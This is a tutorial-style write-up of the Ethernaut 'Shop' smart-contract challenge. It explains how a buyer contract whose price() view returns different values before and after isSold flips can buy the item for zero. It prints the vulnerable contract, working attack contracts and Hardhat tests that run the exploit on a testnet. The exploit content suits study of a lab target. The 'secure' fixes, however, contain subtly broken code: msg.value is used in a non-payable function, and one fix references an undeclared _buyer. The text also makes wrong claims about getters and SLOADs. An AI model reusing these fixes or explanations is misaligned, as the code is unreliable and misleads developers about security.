Appearance
Exploiting State-Dependent View Functions: A Deep Dive into the Ethernaut "Shop" Challenge
Introduction
Smart contract security remains one of the most critical aspects of blockchain development, with even seemingly simple contracts harboring subtle vulnerabilities. The Ethernaut "Shop" challenge, created by Ivan Zakharov, presents a fascinating case study in how view functions can be manipulated when they depend on contract state. This technical article will dissect the challenge, explore the underlying vulnerability, and demonstrate a sophisticated exploitation technique that allows purchasing an item for less than its advertised price.
Understanding the Challenge
The Shop Contract Architecture
At first glance, the Shop contract appears straightforward: it maintains a price (initially 100) and a sold status, with a single buy() function that allows users to purchase the item. However, the devil is in the details:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IBuyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
IBuyer _buyer = IBuyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
The contract employs an interface pattern where it expects the caller (msg.sender) to implement the IBuyer interface. This design pattern is common in Ethereum for creating extensible systems, but it introduces a critical vulnerability when combined with state-dependent view functions.
The Core Vulnerability: State-Dependent View Functions
The vulnerability stems from the buy() function calling _buyer.price() twice under different conditions:
- First call: In the conditional check
if (_buyer.price() >= price && !isSold) - Second call: In the assignment
price = _buyer.price()afterisSoldhas been set totrue
This creates a race condition of sorts, where the price() function can return different values depending on whether the item has been sold. In Ethereum, while transactions are atomic and executed sequentially, the ability of a view function to inspect the calling contract's state enables this type of manipulation.
The Exploitation Strategy
Understanding View Function Behavior
View functions in Solidity are designed to be read-only operations that don't modify state. However, they can read the state of other contracts. This capability becomes dangerous when a view function's return value depends on external state that can change during the execution of a single transaction.
The key insight is that between the first and second calls to _buyer.price(), the Shop contract's isSold variable changes from false to true. If our attacker contract can detect this state change, it can return different prices for each call.
The Attack Contract Analysis
Let's examine the solution provided in Hack.sol:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IShop {
function price() external view returns (uint256);
function isSold() external view returns (bool);
function buy() external;
}
contract Hack {
IShop private immutable target;
constructor(address _target) {
target = IShop(_target);
}
function doBuy() external {
target.buy();
}
function price() external view returns (uint256) {
return target.isSold() ? uint(0) : uint(100);
}
}
The attack contract implements several clever techniques:
- Interface Redefinition: It defines its own
IShopinterface to interact with the target contract. - State Inspection: The
price()function checks the target'sisSold()status. - Conditional Return: Returns 100 when the item isn't sold (to pass the initial check) and 0 when it is (to set the final price).
Step-by-Step Attack Execution
- Initial State: Shop price = 100, isSold = false
- Attack Initiation: Call
doBuy()which triggerstarget.buy() - First price() Call: Shop calls
_buyer.price()for the conditional checktarget.isSold()returnsfalse- Our
price()function returns100 - Condition
100 >= 100 && !falseevaluates totrue - Shop sets
isSold = true
- Second price() Call: Shop calls
_buyer.price()for the price assignmenttarget.isSold()now returnstrue- Our
price()function returns0 - Shop sets
price = 0
- Final State: Shop price = 0, isSold = true
Technical Deep Dive
Ethereum Execution Context
To fully understand why this attack works, we need to examine Ethereum's execution model:
- Transaction Atomicity: All state changes in a transaction either complete entirely or revert entirely.
- Call Stack Depth: The Shop contract calls our contract's
price()function, creating a nested call. - State Visibility: During the nested call, our contract can read the Shop's state, including the newly set
isSoldvalue.
The critical realization is that state changes within a transaction are immediately visible to subsequent calls, even before the transaction completes. This is different from traditional databases where changes might not be visible until commit.
Gas Considerations and Optimization
While the attack contract is simple, gas optimization is always important in Ethereum:
solidity
// Gas-optimized version with explicit visibility
contract OptimizedHack {
IShop public immutable target;
constructor(address _target) {
target = IShop(_target);
}
function attack() external {
target.buy();
}
function price() external view returns (uint256) {
// Single SLOAD operation for gas efficiency
bool sold = target.isSold();
return sold ? 0 : 100;
}
}
Key optimizations:
- Using
publicfortargetallows direct access without getter function - Storing
target.isSold()in a local variable reduces gas costs - Minimal storage operations
Testing the Exploit
Comprehensive Test Suite
The provided test file demonstrates proper verification of the exploit:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Shop, Hack } from "../typechain-types";
describe("Shop", function () {
describe("Shop testnet online sepolia", function () {
it("testnet online sepolia Shop", async function () {
const SHOP_ADDRESS = "0x...";
const ShopFactory = await ethers.getContractFactory("Shop");
const SHOP_ABI = ShopFactory.interface.format();
const challenger = await ethers.getNamedSigner("deployer");
const shopContract = new ethers.Contract(SHOP_ADDRESS, SHOP_ABI, challenger);
// Verify initial state
const price_before = await shopContract.price();
expect(price_before).to.be.equals(100);
const isSold_before = await shopContract.isSold();
expect(isSold_before).to.be.equals(false);
// Deploy attack contract
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(SHOP_ADDRESS)) as Hack;
await hack.waitForDeployment();
// Execute attack
const tx = await hack.doBuy();
await tx.wait();
// Verify attack succeeded
const price_after = await shopContract.price();
expect(price_after).to.be.equals(0);
const isSold_after = await shopContract.isSold();
expect(isSold_after).to.be.equals(true);
});
});
});
Enhanced Testing with Edge Cases
A robust test suite should include edge cases:
typescript
describe("Shop Edge Cases", function () {
it("should handle multiple attacks", async function () {
// Test that the attack only works once
const shop = await Shop.deploy();
const hack = await Hack.deploy(shop.address);
await hack.doBuy();
// Second attempt should fail or have no effect
try {
await hack.doBuy();
} catch (error) {
// Expected - item already sold
}
const finalPrice = await shop.price();
expect(finalPrice).to.equal(0);
});
it("should work with different initial prices", async function () {
// Test with modified Shop contract
const ModifiedShop = await ethers.getContractFactory("ModifiedShop");
const shop = await ModifiedShop.deploy(500); // Initial price 500
const hack = await Hack.deploy(shop.address);
await hack.doBuy();
// Our hack needs modification for different prices
const price = await shop.price();
expect(price).to.be.lessThan(500);
});
});
Prevention and Mitigation Strategies
Secure Design Patterns
To prevent this vulnerability, developers should follow these secure design patterns:
- Avoid State-Dependent View Functions in Critical Logic:
solidity
// Secure implementation
function buy() public {
require(!isSold, "Already sold");
uint256 buyerPrice = _buyer.price();
require(buyerPrice >= price, "Insufficient payment");
isSold = true;
// Use the stored value, not a new call
price = buyerPrice;
}
- Use Commit-Reveal Patterns:
solidity
// Commit-reveal pattern
contract SecureShop {
mapping(address => bytes32) public commitments;
function commitPrice(bytes32 hash) external {
commitments[msg.sender] = hash;
}
function buy(uint256 price, bytes32 salt) external {
require(keccak256(abi.encodePacked(price, salt)) == commitments[msg.sender],
"Invalid commitment");
require(price >= shopPrice && !isSold, "Invalid purchase");
isSold = true;
shopPrice = price;
}
}
- Two-Phase Transactions:
solidity
contract TwoPhaseShop {
struct Purchase {
uint256 offeredPrice;
bool confirmed;
}
mapping(address => Purchase) public pendingPurchases;
function offerPrice(uint256 _price) external {
require(_price >= price && !isSold, "Invalid offer");
pendingPurchases[msg.sender] = Purchase(_price, false);
}
function confirmPurchase() external {
Purchase storage purchase = pendingPurchases[msg.sender];
require(purchase.offeredPrice >= price && !isSold, "Cannot confirm");
isSold = true;
price = purchase.offeredPrice;
purchase.confirmed = true;
}
}
Best Practices for Interface Design
Immutable Return Values: When designing interfaces that will be called by other contracts, consider whether return values should be immutable for the duration of a transaction.
Explicit State Requirements: Document whether functions depend on external state.
Use of
viewandpure: Be cautious when marking functions asviewif they read external state that could change.
Real-World Implications
Historical Incidents
Similar vulnerabilities have appeared in production contracts:
DAO-style attacks: Early DAO implementations suffered from reentrancy attacks that share conceptual similarities with this vulnerability.
Price oracle manipulation: Many DeFi protocols have been exploited through similar state-dependent price queries.
Governance attacks: Some governance mechanisms can be manipulated through similar timing attacks.
Industry Impact
This vulnerability class affects:
- Decentralized exchanges: Price calculations during swaps
- Lending protocols: Collateral valuation
- Insurance contracts: Claim assessment logic
- Prediction markets: Outcome determination
Advanced Attack Variations
Multi-Contract Coordination
More sophisticated attacks could involve multiple contracts:
solidity
contract CoordinatedAttack {
IShop public target;
Helper public helper;
constructor(address _target) {
target = IShop(_target);
helper = new Helper();
}
function price() external view returns (uint256) {
// Delegate to helper contract for more complex logic
return helper.calculatePrice(target);
}
}
contract Helper {
function calculatePrice(IShop shop) external view returns (uint256) {
// Complex logic based on multiple state variables
if (shop.isSold()) {
return 0;
} else {
// Additional checks or calculations
return 100;
}
}
}
Time-Based Attacks
While Ethereum doesn't have reliable block timestamps within a single transaction, some variations could exploit timing in multi-transaction scenarios.
Conclusion
The Ethernaut "Shop" challenge teaches several critical lessons in smart contract security:
- View functions are not truly pure: They can read and react to external state changes.
- State changes are immediately visible: Within a transaction, state modifications are visible to nested calls.
- Interface patterns require careful design: When contracts call external functions, they must consider how those functions might behave differently based on state changes.
Key Takeaways for Developers
- Minimize external calls in critical logic: Store return values locally when possible.
- Validate assumptions about external functions: Don't assume consistency across multiple calls.
- Implement comprehensive testing: Include tests that simulate malicious callers.
- Consider alternative architectures: Sometimes different design patterns can eliminate entire classes of vulnerabilities.
Final Secure Implementation
Here's a completely secure version of the Shop contract:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract SecureShop {
uint256 public price = 100;
bool public isSold;
function buy() public {
require(!isSold, "Item already sold");
// No external calls in conditional logic
// Price must be sent with transaction
require(msg.value >= price, "Insufficient payment");
isSold = true;
// Refund excess payment
if (msg.value > price) {
payable(msg.sender).transfer(msg.value - price);
}
}
// Optional: Allow price negotiation through commit-reveal
bytes32 public committedPrice;
address public committer;
function commitToPrice(bytes32 hash) external payable {
require(!isSold, "Item already sold");
require(committedPrice == bytes32(0), "Price already committed");
committedPrice = hash;
committer = msg.sender;
}
function revealPrice(uint256 _price, bytes32 salt) external {
require(msg.sender == committer, "Not the committer");
require(keccak256(abi.encodePacked(_price, salt)) == committedPrice,
"Invalid reveal");
require(_price >= price && !isSold, "Invalid price");
isSold = true;
price = _price;
// Handle payment logic
}
}
This implementation eliminates the vulnerability by either requiring payment with the transaction or using a commit-reveal pattern that prevents the caller from changing their offered price based on contract state.
The "Shop" challenge serves as an excellent reminder that in smart contract development, we must think not just about what our code does, but how it can be made to behave by potentially malicious actors. By understanding and addressing these vulnerabilities, we can build more secure and robust decentralized applications.